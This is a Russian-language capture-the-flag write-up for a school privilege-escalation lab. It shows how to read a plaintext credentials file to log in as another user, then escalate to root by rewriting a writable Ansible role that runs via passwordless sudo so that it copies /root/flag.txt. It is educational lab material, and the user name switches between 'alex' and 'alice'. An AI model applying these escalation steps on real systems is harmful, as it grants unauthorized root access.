# Privesc 11 класс 

## Решение

### Флаг 1

Для получения первого флага необходимо подключится по ssh к контейнеру за пользователя steve. И найти у него в файлах пароль от пользователя alex. Первый флаг будет лежать у пользователя alex в домашней директории.

```bash
ls -la /home/steve
cat /home/steve/docs/credentials.txt

ssh alice@<host>
cat /home/alice/flag1.txt
```

![alt text](./images/image1.png)

### Флаг 2

Далее от пользователя alex смотрим на `sudo -l`, видим что пользователь может запускать ansible playbook от root с  NOPASSWD. 

```bash
sudo -l
```

![alt text](./images/image2.png)

Изучаем плейбук и роли. Роли лежат прямо в каталоге с плейбуком и доступны на запись:

```bash
ls -ld /opt/ansible/playbooks /opt/ansible/playbooks/roles
cat /opt/ansible/playbooks/app-deploy.yaml
```

```yaml
---
- name: Setup schematics
  hosts: localhost
  become: yes
  become_user: root
  vars:
    ansible_connection: local
  roles:
    - role: app-server
```

```bash
ls -la /opt/ansible/playbooks/roles/app-server/tasks/
cat /opt/ansible/playbooks/roles/app-server/tasks/main.yml
```

```yaml
---
- name: Prepare schematics
  copy:
    content: "schematics ok\n"
    dest: /opt/ansible/schematics.ok
    owner: root
    group: root
    mode: "0644"
```

- плейбук запускается с `become: yes` - все задачи выполняются от root
- директория ролей доступна на запись пользователю `alice`
- плейбук можно запускать через `sudo` без пароля

Добавляем свой код `/opt/ansible/playbooks/roles/app-server/tasks/main.yml`, чтобы скопировать флаг в `/tmp`:

```yaml
- name: Prepare schematics
  shell: |
    cp /root/flag.txt /tmp/flag.txt; chmod 666 /tmp/flag.txt
  args:
    executable: /bin/bash
```

![alt text](./images/image3.png)

Запускаем плейбук и читаем флаг

```bash
sudo /usr/bin/ansible-playbook /opt/ansible/playbooks/app-deploy.yaml
cat /tmp/flag.txt
```

![alt text](./images/image4.png)